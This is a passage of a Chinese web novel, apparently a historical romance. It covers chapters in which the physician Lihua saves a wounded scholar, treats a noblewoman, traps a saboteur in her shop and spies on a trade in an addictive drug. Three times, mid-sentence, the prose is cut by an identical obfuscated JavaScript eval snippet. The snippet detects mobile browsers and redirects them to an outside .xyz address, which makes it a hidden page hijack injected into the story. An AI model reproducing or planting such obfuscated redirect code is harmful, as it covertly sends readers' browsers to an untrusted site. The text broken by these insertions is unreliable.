杨贞后腰处插着一根三寸长的钉子,一半扎进身体,一半被衣服遮住,他平躺下压着钉子一直往里走,那些人再碰他,恐怕钉子就要从前面穿出来。 梨花把人扶起靠在自己身上,望向谢舟道:“我需要把钉子拔出来。”她怕拔到一半有人再阻止那就真的要命了。 谢舟轻“嗯”一声,绣春刀微微出鞘,本就退开的人群又往后扩,平台上只剩梨花和杨贞。 梨花正要动手,有不怕死的哆嗦着问:“若你……你治死杨……谁来负责?” 他的问题很现实,说出在场之人的心声,毕竟连病人生死都不敢保证,谁敢让她治。其他人不敢应和,却眼巴巴盯着梨花。 梨花也犹豫了,治病哪有承诺百分百治好的,可眼下不作保大家不让她救人,救人不成这些人又不会放过她,好不容易来到京城,还没找到老爹呢,当真要为只见过三次的人冒这么大风险吗? 而且她今天是来见穆易的,没见到穆易方梨也难瞑目,她不该多管闲事,或许就该像其他人说的那样等太医来,只是怕杨贞等不到那时候。 她看向杨贞,刚才还在台上高谈身份不重要责任更重要的人,现在就血淋淋躺着,汗珠密密麻麻从额头往下滚,他牙关紧咬满脸痛意,却克制着不肯叫出声。 他为什么不叫,他在坚持什么? 有些不可名状的情绪在梨花心头散开,医者身份所赋予的使命是救死扶伤,她口口声声说自己是大夫,病人就在眼前却没有勇气治疗。 梨花突然觉得自己很虚伪,她讨厌这样的自己,要是老爹在肯定毫不犹豫救人,如果有一天老爹知道她放弃病人,他也会失望吧。 想起老爹,梨花有了勇气。 “我负责。” “我负责。” 两道声音一高一低,梨花和谢舟异口同声。 既然有人负责,其他人碍于谢舟威压不敢再说什么。 梨花拍拍杨贞的脸让他保持清醒,她微笑着问:“我是大夫,我现在要拔出你身上的钉子,会很疼,还有一点危险,你愿意相信我吗?” 几乎疼晕过去的杨贞微微睁开眼,看到竟然是狱中结交的小友方梨,他笑得还是那么灿烂,肯定为他高兴。 “第三条路我走出来了,谢谢你。” 梨花脑中轰的一声,所谓第三条路就是舍弃自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875648|176306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己的性命吗? 梨花没想到,是她的一句话让杨贞存了死志,大夫行医救人是救命不是害命,害的还是铁骨铮铮文士的命,甚至刚才她还想放弃救杨贞…… 她觉得自己罪大恶极,红着眼向杨贞道歉:“是我的错,对不起。” 杨贞听见她的啜泣声睁大眼,这次才看清梨花穿的是女装,她是女子,头上那朵花…… 他的身体瞬间麻木,大脑却万分清醒,原来方梨就是她一直想见的笔友,只是为何偏偏在这种情况下相见,他有很多话想对她说,话到嘴边却只是笑一下,用尽力气说:“我愿意。” 梨花失神,猛然听到这几个字呆住了,然后眼泪更止不住涌出,她害他到如此境地,他还愿意相信她,她惭愧得无地自容。 “你的眼泪是提前祭奠他吗?” 谢舟突然出声,梨花被吓得打个嗝,眼泪戛然而止。确实再不动手杨贞就真撑不住了,梨花抹一把眼泪动手拔钉子。 梨花的救治很及时,杨贞命保住了,太医院人也来得很快,杨贞被送回家修养,摘星楼打砸的学生和浑水摸鱼闹事的人都被谢贞关进诏狱。 方梨约见穆易的事被彻底搞砸,梨花本想回还春堂,浊流禀报谢家太夫人突然晕倒,梨花和谢舟一起回了谢家。 谢太夫人是谢舟的奶奶,当年也是将门虎女,育有谢训和谢谦两兄弟,一文一武双剑合璧。 国家危亡之际,谢谦领兵救国立下大功,家族蒸蒸日上指日可待,谁料堂堂大将军被曝通敌死在狱中,谢舟检举生父坐上高位,谢太夫人急火攻心,身体每况愈下,后来整日与青灯古佛做伴。 梨花和谢舟进去的时候,谢训正陪在老夫人床边,老夫人仍在昏迷,口中含混叫着“谦儿”。 “祖母为何突然昏倒?” 谢舟发问,一旁的婢女不敢不答,悄悄看谢训一眼才道:“今日大爷来给老夫人请安,说起您把他囚于府中,是想……是想连他的命也拿去,老夫人这才……” 那日谢舟把谢训从牢里带出来,回去便替他告了假,谢训几天被侍卫拦在院中,今日借着给老夫人请安的由头才出了门。 谢训冷声道:“你害死你父亲不够,还要逼死我,如今又连累你祖母,谢舟啊谢舟,这个家到底欠你什么,你可对这个家有过半分情义?” “情义?”像是听到什么有趣的事,谢舟忍不住嗤笑,“当初父亲被指通敌,大伯急着分家不愿意保他,您与我有何区别?” 谢舟说得云淡风轻,谢训听着却十分刺耳,“荒唐,我做的一切都是为了谢家!” “我做的一切也是为了谢家。” “说得冠冕堂皇,你不过是为了荣华富贵,甘愿当别人的一条狗。” “若非我这条狗把您从牢里救出来,您现在就和黄忠言一样趴在地上苟延残喘。” “你,竖子!” 谢训指着谢舟骂,胸膛剧烈起伏,气得呕出一口血来,房间一时寂静,伺候的人大气都不敢喘。 梨花感觉阵仗不对,在角落里弱弱开口:“那个,两位孝子贤孙,老太太快背过气了,要不你们再吵会儿?” 12. 看不透你 角落有人出声,谢训这才注意到有外人在,这人脸比戏子花,身上沾满血迹,他脱口而出: “这是个什么东西?” 梨花被猛得一问顺着话答:“我不是个东西。” 后知后觉发现不对,又道:“我是个东西。” 这一句听着更奇怪,什么东西不东西,她是人,这老头好没礼貌,梨花没好气地说:“我是谢大人亲自请来给太夫人治病的大夫。” 她着重强调“亲自”和“大夫”两个字,本就气得吐血的谢训差点昏过去,捂着胸口往后倒,谢舟伸手扶住他,“大伯千万保重身体,谢家可不能没有你这中流砥柱。” 谢训甩脱他的手怒吼:“母亲尚在人世你就找来神婆送她?谢舟你果然不安好心。” 神婆?我吗? 梨花满头冒火,要不是在谢家,她真得很想给这个臭脾气的瞎眼老头治治脑子。 谢舟突然道:“杨贞刚才坠楼,大伯不去探望一下?” 坠楼?他被关起来的这几天谢舟究竟做了什么! 谢训脸色发冷,回望谢太夫人一眼出去了。 梨花心道:谢舟果然可怕,三言两语就能牵着人的情绪走。惹上谢舟不知是福是祸,但当他的敌人一定不明智。 她给谢太夫人号脉,老年人岁数大,又多年胸气郁结,需要用金针在头顶施针引气。一般大夫只会使银针,会金针的大夫怕有闪失也只愿用汤药吊着。她今天受了刺激气血上涌才突然昏倒,再拖下去恐药石无灵。 梨花看一眼立在床边伺候的婢女道:“太夫人出虚汗易感风寒,你去多烧些热水。” 婢女出去,梨花才从腰间小包的夹层里翻出一个小口袋,里面装着一根金针,这根金针是老爹送给她的礼物。 那时她刚学会针灸治病,老爹用攒了很久的钱给她打了这根金针,他说:“医者掌阴阳,一念生,一念死,当大夫要有良心。” 后来她见过治病不给钱的,治不好说他们故意害人的,还有说他们态度不好打他们的,梨花生气道: “老爹,坏人太多,我不想有良心了。” 老爹轻抚她的脑袋呵呵笑。 别人都不愿给谢太夫人施针,凭什么她要讲良心。 梨花心道:她只是为了讨好谢舟保命,不是讲良心。 她用金针逐一刺进几处大穴,头部是人神魂之所,容不得半点闪失,几针扎完太夫人气息渐渐和缓,她却满眼血丝,手腕发抖。 从房间出来,太夫人院中无人,她顺长廊一直往前走,没想到误闯宗祠院,看到一个人跪着。 他跪在正中的排牌位前,身子颓然压在脚上,垂头弓背,好像一条被压弯的扁担。 只是一个背影,梨花心头无来由感到悲伤。 “父亲,我今天差点害了行勉。” 是他把杨盈回来的消息放出去,在民间发动舆论,为成大事牺牲几个人很正常,杨贞却不愿意。 他声音往下沉,梨花听出是谢舟,这可是活阎王,她笑自己怎么敢同情他。 “五年前的今天,本该是我的冠礼,可我亲手送您上路,您说无论如何也要保住谢家,光耀谢家门楣,现在我是权倾朝野的锦衣卫指挥使,人人都要敬我三分,甚至听到谢这个姓氏都心生畏惧……这是您想看到的吗?” “我替李氏疯狂咬人,咬到那个人的时候我终于下不去口,我知道她回来要做什么,甚至很期待。” 谢舟语气一开始很平淡,渐渐变得扭曲,似乎有种唯恐天下不乱的疯狂,梨花第一次在谢舟身上有这种感觉,他不止让别人死,他也想让自己死。 梨花开始好奇,为了权力富贵可以检举生父的人,不应该享受现在的一切吗,可他好像一点都不开心,他的身上究竟发生了什么? 风骤起,树影摇,一片叶落下遮住梨花的视线,待她揭开落叶,谢舟已经回过头来。 她站在门口,他跪在屋里,她立在天光下,他隐在冥室中,一道无形天堑将二人隔开。 梨花恍然失神,谢舟站起来,她才回神道,“谢大人,太夫人无碍了,我误闯此地,烦你派人送我离开吧。” “进来。” 谢舟转回身,仍面对一排排高高供起的牌位。 梨花犹豫一下进去,一股淡淡的清香在鼻尖萦绕。她站到谢舟身边,一打眼就看到最前面牌位上谢谦两个字。 检举弑父的人也会来祭拜父亲吗,真是讽刺,她嘲讽的表情没来的及收,被谢舟尽收眼底。 “多年前我与杨贞结识,他写文我练武,约定将来一起匡扶江山社稷。父亲出事,杨贞在朝上据理力争,用人格声誉保证我父亲绝对不会叛国,下朝就听说我检举生父,为了向太后表忠心,甚至亲手送去毒酒。他骂我不忠不孝与我割袍断义,我笑他杨家都倒台了还那么天真。” 梨花愤怒望向谢舟,杨贞那样好的人,一片真心如此被践踏。 她稍收敛情绪解释:“他不是天真,而是一片赤诚。” 可惜真心喂了狗,后半句她忍住没说。 谢舟苦笑,“他就是蠢,这么多年过去了还是那么蠢,向李遥服个软的事,多划算的买卖,他居然要用死解决问题,真蠢。” “我不许你这么说他!” 梨花脱口而出,谢舟侧头睨她,她才后怕自己竟然敢这样和谢舟说话。 “不对,”梨花突然反应过来,“你早就知道有人给他设鸿门宴?” 知道又如何,他赌杨贞沉寂多年,不会像当年一样莽撞。 他坐在指挥室衙门望天,一只鸟撞在树上,那是锦衣卫无聊做的捕鸟陷阱。 他急忙去救那只鸟。 谢舟闭上眼,喉结滚动。 梨花眼神垂落,谢舟突然笑笑,“你也一样蠢,与杨贞萍水相逢,何苦为了救他承受千夫所指?” 他赶去摘星楼的时候,远远就听见梨花与那些人争吵,她试图与他们讲道理,可那些人怎么会跟一个女子讲道理呢。 他在门外站着,听她被他们指责、谩骂,听她一人对抗一群人,她好像一个疯子。 他知道被千夫所指的感觉,那种孤独令人绝望,她只是个小丫头,她可以逃,没人会怪她。 可她好倔强,难道她没想过救不回杨贞她会遭遇什么吗? 梨花想说因为我与你不同,不会见死不救,可她一扬头看到谢舟眼中透出怜惜和凄苦。 活阎王也会有这样的表情么? 她感到意外,竟许多话都没了。 梨花呆呆望着他,透过他的眼看到自己。 一只手慢慢靠近她的脸颊,掌心粗粝的茧子几乎擦到她,又不着痕迹滑到头顶,把她头上的花抽出来。 “好丑。” 沉浸的情绪突然破碎,什么好丑,她吗? 梨花低头看看自己,裙子确实脏了,不过她今天的妆容不说美若天仙,怎么也算不上丑吧。 她审视自己一遍,再审视谢舟一遍,得出结论:他审美有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15885401|176306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问题。 谢舟道:“权力之争,既然卷进来,就别想再出去。” 他是在警告她吗?不就是救了个人,怎么就卷进权力之争了,真是危言耸听。 不能得罪谢舟,不能当他的敌人。 梨花将这句话在心里念了三遍,又挂上一张谄媚的笑脸。 “那杨贞是大人的敌人,我怎么会想救他呢。这不是药材商催款,我情急之下说我是您的人,在外我可不敢丢了您的面子,我借机打响名气,您面子上也有光不是?” “这么说你是处处为我着想?” “这是自然。” “又骗人。” “怎么会呢,我从来不骗人。” 梨花变脸的速度比演杂耍的还快,忘了自己当初怎么几次三番骗谢舟的。 她搓搓手,眼中闪着星星道:“大人,我还有更为您着想的呢。” 看见谢舟那么多手下,她发财的小脑瓜又转动起来。 “锦衣卫大人们办差辛苦,总喝些粗茶也不是个事儿,还春堂新出了凉茶,滋阴润肺,最适合不过,您是自己人,给您算八折,以后锦衣卫茶水我包圆了。” 谢舟统管锦衣卫,手底下官差没有一千也有八百,茶水费每人每月一百文,算下来至少能卖八万文,也就是八十两,刨除成本…… 一把金算盘在梨花脑海里狂拨,她美滋滋笑得好像已经在钱山上打滚。 身边莫名升腾起欢快的气息,谢舟诧异,才发现有人嘴快咧到后脑勺。 他偏过头不理她,梨花就围着他转圈圈,两只黑眼珠吧嗒吧嗒眨。 谢舟气笑了,刚才还骂他、骗他,现在开始哄他,她果然还是那个爱财如命的骗子。 “你还真会顺杆儿爬,生意做到我头上来了?” “肥水不流外人田,我可是您的人,好东西当然先想着咱兄弟们。” 一句您的人,一句咱们兄弟,梨花俨然和锦衣卫十分熟稔的样子。 谢舟扶额,“清溪,把这家伙丢出去,越远越好。” 清溪从天上跳下来,梨花忙摆手打哈哈,“不用麻烦清溪大哥,我自己走,自己走。” 走到门口,梨花突然站住,她回头笑问:“谢大人,你为何为我作保?” 那句“我信”和“我负责”太有力,梨花不会自以为是到认为谢舟会为她出头。 有些事情不该她知道就不去猜,有些答案不该她知道就不去听。 没等谢舟回答,梨花伶伶俐俐跑走。 清溪挠头:“大人,她好大狗胆,我替您抓回来好好拷打一番。” 谢舟翻白眼,“挂树上去,没我命令不许开口说话。” 清溪:…… ———— 梨花满脑子装着锦衣卫送来的金山银山,一路往回溜达,回到还春堂已经是傍晚。 铺门紧闭,烛火全熄。 以往谁晚回来,其他人都会留门留灯,这是怎么了? 梨花上前敲铺门,半天无人应,她转到后院敲大门,还是无人应,但明显听见窸窸窣窣的声音。 她前后左右查看,墙太高翻不进去,最后发现个狗洞——唉,钻吧。 刚钻进去,劈头盖脸一堆扫帚砸在身上,她大叫:“我是梨花!” 扫帚雨陡然停住,一束火光亮起刺得她睁不开眼,微微睁开就看见阿香惊恐的脸贴在她眼前,见真是梨花,阿香嘴一瘪委屈地哭起来。 “梨花,咱们店又被砸了。” 13. 计诱内奸 阿香扶起梨花回房,边走边声情并茂演了一遍,原来是下午有人来闹,说还春堂的温养汤喝坏了人。 隔壁铁匠的娘病了半月,铁匠借钱买了几副温养汤给他娘喝,最开始他娘身体确有好转,昨日忽然急转直下,腹泻到下不来床。 铁匠背着他娘来还春堂讨说法,老太太往地上一躺,铁匠跪在他娘身边哭喊:“无良医馆,害人性命!” 哭声震天,引得街坊邻居都来看热闹。 阿香叉腰大骂:“绝无此种可能!” 铁匠质问:“你售卖假药,用温养汤替代温补汤,谋财害命不怕下地狱吗?” 众人:“就是就是,冒牌货。” 两种汤药主要成分相同,药效相差寥寥无几,价格却便宜了一半,他们才是赚了好吧。 买盗版的时候不嫌假,出了事就撇清关系说自己被骗,这些人够无耻的。 阿香心里这么想的却不敢说,毕竟温养汤确实借着温补汤的名气才能卖出去,她还是有点心虚。 “药哪有假的,管用的就是真药。” 人群中不知谁喊了一句:“骗子,把钱还给我们。” 其他人一呼百应,看见只有一个女子看店,竟推开她闹哄哄冲进去,不消片刻将柜台里的钱抢得精光,等他们抢完,阿香才关门闭户躲回后院。 先前梨花敲门,她以为那些人又来抢劫,她和父亲一弱一残抵挡不了,吓得熄了烛火躲在屋里。 “简直是一群强盗!” 进到屋里,阿香的骂声仍不绝于耳,表情咬牙切齿恨不得将人撕碎吃了。 梨花脱下一身脏衣丢进衣篓,阿香这才注意到她身上有血。 “受伤了?快给我看看。” 阿香上手检查,梨花笑着换上寝衣,“我没事,别人的血。” “你不是精心打扮会情郎么,怎么搞成这副鬼样子。” 早上梨花上了半个时辰妆,阿香参谋完觉得她是仙女下凡,谁见了都得多看两眼,美中不足的是两人没一件拿得出手的衣裳,梨花一咬牙支了银子去成衣坊租了一套。 走的时候光彩照人,回来时候邋里邋遢。 梨花跌在床上叹息:“谁知道呢,穆易没见着,文人坠楼、官差捕人都让我赶上了。” “啊?” 真是丰富多彩的一天,阿香张大了嘴还想问什么,床上的人已经沉沉睡过去。 第二天,梨花一早换上男装就出了门,回来的时候阿香刚起。 见梨花拾掇药橱,阿香问道:“咱们今天还要开店?” 梨花老神在在道:“怎么不开,还要光明正大开,以后不卖温养汤,就卖原本配方的温补汤。” “这……” 阿香满脑子黑线,不知道梨花要做什么,她问了,梨花只是笑笑一字不答。 门刚打开,她们就看见短工二强站在门口,阿香笑着打招呼:“二强来上工了?” 二强顿一下道:“是啊。” 梨花拿出准备好的银子和一张纸交给二强,“你去按照这张方子进货,从今天起咱们也卖温补汤。” 二强接过东西道,“梅掌柜还有钱啊?” 梨花点点头,“当然有,昨天那点小风波算什么,汤药生意赚钱,还得继续做呢。” 阿香一脸疑惑站到梨花背后目送二强离开,“你把剩下的钱全给他了?” 梨花眉一挑,“放长线,钓大鱼。” 阿香:又故弄玄虚。 ———— 一上午,阿香已经做好坐冷板凳的准备,怎料接二连三有来买药的。 这温补汤一两银子一包,以前上门推销都不好卖,门店销量怎么会这么好,大家偷偷暴富没喊她? 正想着,包好几方药的二强从药橱过来,“香姐,我肚子疼去茅房,你先自己看一会儿店。” 阿香点点头,“去吧。”今天的客流量她一个人看得过来。 二强出了门,阿香回身看见梨花从后堂出来,梨花一脸得意道:“走,去捕鱼。” 梨花带着阿香一路尾随,二强从茅房后面绕出去,穿过好几条街进了一条荒巷。 阿香惊得直拽梨花袖口,低声问:“你怎么知道是二强?” 梨花把她今天早晨出门的事告诉了阿香。 她一大早溜去了铁匠家,铁匠娘喝的药渣还在树坑里,其他药材都正常,只多了一味利泄的药。 这药买的人不多,还春堂最近售空没补,不会抓错药,那就只有一种可能,有人故意放进去的。 有机会做这种事、会做这种事的只可能是新来的短工二强。 为了不惹出大祸,二强肯定也挑人放药,挑了年轻力壮的铁匠,没想到铁匠是给他娘买的。一般人吃这药只会腹泻脱力,铁匠娘岁数大又本身有病,吃上这药去掉半条命。 二强一个短工敢做这样的事,必然有人在背后指使。 利泄的药他不会放在身上,都是与那人随用随取。 梨花没有打草惊蛇,故意让二强买药,给他机会与指使人通气,上午生意不错,二强果然坐不住去告密。 他环顾四周确认没人,掏出藏在袖中的哨子一吹,旁边立刻出来个中年男人。 一看竟是老熟人,千金方的掌柜王生。 就在王生掏出一把药给二强的时候,梨花和阿香从巷口出来。 “王掌柜好计谋啊,自家抓错药毁了生意,又如法炮制毁我生意?” 王生没想到有人,吓得手一抖药全撒了,抬头看见梨花,故作镇定道:“方伙计怎么在这儿?” 他还想假装自己是路过的,下一刻意识到不对。 这模样好像在哪儿见过,不是给王夫人推销温补汤那次,他还知道抓错药的事…… 她是那天的乞丐丫头! 难怪还春堂会有温补汤的药方,原来是她从中作梗,王生气得七窍生烟,怎么走哪儿都能遇见她,真是冤家路窄。 梨花走上前抓住王生的手腕,他掌心还粘着药渣,她道:“收买短工陷害我,人赃并获,王掌柜是准备赔钱呢,还是跟我去官府?” “哼,赔钱?就凭你?”他甩开梨花拍拍手,身后出来两个混混模样的人,“你以为做这种事我会没有准备?” 见势不对,梨花拉起阿香就跑,背后又出来两个人拦住去路。 几个混混围过来,梨花捡起棍子拦在阿香前面低声道,“一会儿我引开这些人,你趁机逃跑找人来救我。” 阿香犹豫,梨花低吼:“我没你对这里熟悉。”阿香仍旧没动,眼神扫视围过来的人。 虽然都是男人,但大多游手好闲没什么正经功夫,怕是连饭都吃不饱,一个个面黄肌瘦。 几个混混把她们逼到墙边无路可退,梨花闭上眼挥起棍棒乱打,阿香在她身后躲闪,一个男人绕过梨花伸手抓阿香。 这时,只听“嗷嗷”几声惨叫,梨花试探睁开眼,一个少年单手捏住混混的手腕,轻松将人丢出去。 阿香虎口脱险,眼睛几乎黏在少年身上,少年对她勾唇一笑,她仿佛沐浴在春风里,大脑都放空了。 “白痴小川!你怎么会在这里?” 青阳关难民营一别,没想到在这里遇见了,也算共过患难同台飙戏,梨花见了小川十分兴奋。 小川嫌弃道:“笨蛋梨花,还是处处遇险,倒霉鬼一个!” 阿香福了一下柔声道:“小川公子好,小女梅隐香,多谢公子救命之恩。” 梨花像见鬼一样震惊:阿香什么时候学会这矫揉造作的做派? 小川转身面向阿香邪魅一笑:“怎么谢啊,以身相许吗?” 梨花瞪大眼睛:会抢女生馒头的小川装什么浪荡公子? 面对调戏应该怎么做?没错,打回去。 她又看向阿香。 不是,阿香怎么脸红了? 梨花无语:“在打架哎,你们可以尊重一下对手吗。” 被小川踩在脚下的王生狂点头。 他脸贴地趴着,胳膊腿用尽力气也爬不起来,像个挣扎的王八。 梨花蹲下问:“王老板没什么想解释的?” 王生调个头不想理他,阿香很好心地帮他调回去。 王生道:“那天你来过之后,千金方毒药补药弄错的事不知道怎么就传出去了,生意一落千丈,反倒是你那盗版货卖的风生水起。为了卖温补汤我借了一大笔钱,现在生意黄了钱还不上,还不许我想想办法吗?” 他倒是把自己的龌龊说的理所当然,梨花正想捶他,突然想起什么,问道:“你是从哪家药材商进的货?” 王生不知道梨花为什么这么问,答道:“城西徐氏药材铺啊。” “你钱是问谁借的?” “也是徐老板啊。” 梨花思考一下面色发冷,“果然。” “什么果然?” 阿香和王生一起发问。 “我们还春堂被骗借了印子钱,就是他干的。” “千金方之前恐怕也不是抓错药,而是卖给你们的海风藤里本就混了断肠草,我的出现只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15894053|176306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是给他一个将此事捅出去的机会。” 王生定住,将前因后果想了一遍,脊背阵阵发凉,难怪给他便宜诱他多买…… “之前倒闭的几家医馆药铺也都与徐氏药材铺有牵连,想来同样被人设计了。”王生垂头,“我活了大半辈子,竟还没你一个女娃想得清楚。” 梨花扶起王生,“王掌柜,你我都是受害者,不要再互相伤害了。” 几次遇见梨花都倒霉,这次二人终于说开了,王生眼中快要盈出泪水。 梨花松开他道:“但是要我就这么原谅你也不可能,昨天我们被抢的钱麻烦还一下。” 她手心一翻,王生的眼泪硬生生憋回去。 “果然是一点亏都不肯吃。” 回到还春堂,梨花把王生还的钱交给阿香,道:“之前的顾客有想退钱的,只要拿来药包和药渣就给他们退,再各赔300文。” 阿香皱眉,“这样岂不是血本无归了?” 梨花叹一口气,“没办法,虽然咱们并没有卖假药,但总归给别人留下不好的印象,赔钱是为了挽回声誉,等过一段时间出新品,促销一下他们就会忘记之前的事。” 阿香点点头,梨花说的总是对的,想不明白照做就好。 ———— 交代完事情梨花折返出去,小川还在外面等他。 两人找了一家面摊坐下。 “难民营大家都怎么样了?” 对于当初一起抢食的兄弟们,梨花还是很关切的。 小川挑一筷子面,道:“你是不知道,突然来了个大官儿,一看堂堂天子脚下竟然有难民,他脸都绿了,骂的那赵世成屁都不敢放一个,哈哈哈。” 他吆喝老板:“来头蒜。” 梨花摇头晃脑心道:那大官是我引去的,我能不知道么。 她问:“那大官不是不想管难民的事吗,你怎么出来的?” 小川道:“不是他,来了个女菩萨,把大家安置在天承寺,赠衣施粥,我不想在那儿呆着,得空溜了。” 梨花张大嘴,“还真有下凡救苦救难的女菩萨呀,戏本子诚不欺我。” 小川鄙视她,“你没听过吗,街头巷尾唱的童谣:‘九天仙女下凡尘,广施仁德甘霖来’。” 广施仁德,莫非暗指仁德皇后?谢舟去刺杀的就是这位女菩萨呀,还好他失败了。 梨花没多说,又问:“那大官好像是去找什么人的,他找到了吗?” “不知道。” “盈娘呢,她如何了?” 小川剥干净蒜皮,仍旧一句:“不知道。” 梨花抢过他剥好的蒜咬了一口,“你怎么什么都不知道,果然是白痴。” 小川嘿嘿笑一下,继续剥蒜。 他本以为从难民营出去梨花会直接逃走,没想到这笨蛋真听了盈娘的话去找赵世成,她能从赵世成手里活下来已是万幸,竟然还救了他们,真是傻人有傻福。 他又放了两瓣儿蒜到梨花碗里,“少管闲事才活得久,笨蛋。” 梨花呼啦啦面吃得正香,抬头问:“你说什么?” 小川喝了一口面汤,“我说你怎么去给人家当了伙计?这医馆招女大夫,一看就不正规。” 梨花呸他一声,“你看不起谁呢,忘了我装鼠瘟的样子了,我身经百战什么病没见过,应聘个小小医馆不在话下。” 小川吞下最后一口面,盯着梨花看了半天才开口:“不要那么轻易相信别人。” 梨花笑问:“那你呢?” “包括我。” 她沉默,他的神情太过认真,似乎非要等个答案,她才答:“知道了。” 小川转身离开,抬起手倒着抛下几块铜板,声音幽幽留在原地,“我请了。” ———— 梨花回到还春堂,房间里阿香正拿着一张状纸细看。 “刚才王老板又来找我,要咱们一起去衙门告那徐老板诈骗,我觉得可行,梨花你说呢?” 梨花盯着那张纸上密密麻麻的字迹半晌,阿香在她眼前晃晃,她才回神道:“我觉得阿香觉得对。” 阿香折起状纸,笑盈盈出门。 望着阿香出去,梨花苦笑,若告官有用,天下哪儿那么多冤情。 徐老板只是个药材商,背后无人撑腰怎么敢如此肆意妄为,不抓到确凿证据,状纸就是废纸,不过去衙门留个案底也好,到时候作为苦主好叫他赔偿。 浅浅一打听,徐老板竟是醉仙楼的常客。 她得好好会一会这位徐老板, 14. 白玉观音 夜晚的醉仙楼流光溢彩,乱人心神。 二楼雅室,送酒上菜的小厮进进出出,岭南的鲜荔枝、冬捕的沧州糖蟹、拌糖酪的樱桃,一样样珍品鱼贯送进去。 楼尾的房间里,华服男人靠在椅子上,甩甩手中的红玉髓玛瑙珠串问道:“牵丝引拿来了吗?” 大腹便便的男人抿下嘴唇,从腰间取出一个瓷瓶含胸递上:“就这么多了。” 牵丝引是一种迷人心智的药,能令服用者飘飘欲仙,但成瘾性极大,药瘾发作时浑身犹如千万只蚂蚁啃噬,这是传说中西域流传的禁药,这里怎么会有? 作小厮打扮一路尾随徐掌柜而来的梨花躲在房门口偷听,她本以为徐老板只是普通寻欢,谁知进醉仙楼后拐个弯进到隐蔽房间,也不知见的是谁。 徐掌柜不时瞟一瞟男人的脸色,男人接过瓷瓶语气冷淡,“怎么只有这些?” 徐掌柜抹抹额头的汗心虚回答:“曼陀罗生长慢,您这边要的量越来越大,实在供应不上。” 男人珠串在指尖转了几圈狠狠砸在徐掌柜脸上,“供应不上扩大种植面积啊,多收铺子还要我教你?” 梨花心惊,难怪徐掌柜下套讹诈医馆,原来是为掩人耳目大量种植曼陀罗。几株曼陀罗的汁液就能做一瓶牵丝引,他们做这么多要干什么? 徐掌柜声音颤抖禀报:“今日又有人纠集起来去告官,衙门递话说他们快顶不住了,小的实在不敢太大张旗鼓,引人注意就不好了。” 下午千金方、还春堂并其他一些医馆药铺一起递状纸,状告徐掌柜设套骗取他人财产,县令暂时以证据不足为由挡回去,但拖延终究不是办法。 男人无所谓道:“怕什么,一群刁民能翻出什么风浪,把那几个刺头收拾了,其他人自然哑火。” 讨公道的人成了刁民,带头发声的被说成刺头,这些大官真会颠倒黑白,梨花满心窝火。 男人把瓷瓶递给身后的近卫,低声嘱咐:“加到……的酒里。” 梨花听不清男人说的是谁,刚想附耳过去细听,楼梯间传来声音:“新来的,你不去传菜站那儿做什么?” 房间里的人听见动静慌忙出来,只剩一个消失的身影,男人道:“掘地三尺也给我把人找出来。” ———— 雅室里,主宾喝得脸发红,陪座的官员接连给他敬酒,他口中含酒囫囵着喊:“荣国公呢,刚喝两杯怎么就跑了?” “王子可冤枉我了,这是给您准备好东西去了。” 李遥特意设宴为那天的事情向那木勒赔罪。 人还没进门,声音先落地,手掌“啪啪”两声,门口游曳进来一串舞姬。 舞姬珠帘遮面,嫩白的双臂托着酒盘,盈盈一握的腰肢随着步伐摇摆,走到宾客桌案时浅浅俯身,胸前春光要露不露,宾客上手时又翩然起身,欲拒还迎的姿态勾得人心痒痒。 这是醉仙楼排的祝酒舞,几个舞女伴随琴音来回变换位置,美轮美奂叫人挪不开眼。 有心人如果仔细看,就会发现其中一个舞姬舞姿生疏,每一步都不在鼓点上,发型也与其他人不同,这人正是梨花。 方才慌忙逃走,迷晕一个舞姬换上她的衣服,却被老鸨看到催促跟着队伍来到此处。 梨花混在队伍里,悄悄寻找其他出口。 席间最前方两个人梨花认出来,是摘星楼讲学时坐在二楼的两个人,还有几个陪座的官员,再往后一瞧,看到一个熟人,谢舟。 谢舟坐在窗边,一身月白色卷云纹大袖衫,领口微微敞开,没有平日的凌厉和杀意,一派风流韵致。 梨花从未见过这样的谢舟,一时看得发呆,不慎踩到裙摆险些摔倒,稳住身形再一抬头,偏偏迎上谢舟的目光。 他果然是与李遥一伙的。 梨花慌张低头,后又想起没对他做亏心事,壮起胆子看回去,谢舟却早已转移视线,仿佛刚才的对视是错觉,想来有面帘遮挡,他并未认出她。 一舞毕,舞姬三三两两坐到官员身边,梨花环视一周,看中了最靠门的位置,刚要过去却被人喊住。 “过来,”谢舟手指轻点桌案,“倒酒。” 梨花想假装没听见,可门口的位置已经被人占了,谢舟身边却一个人也没有,她强行走开反倒惹人注意,只好依言坐过去。 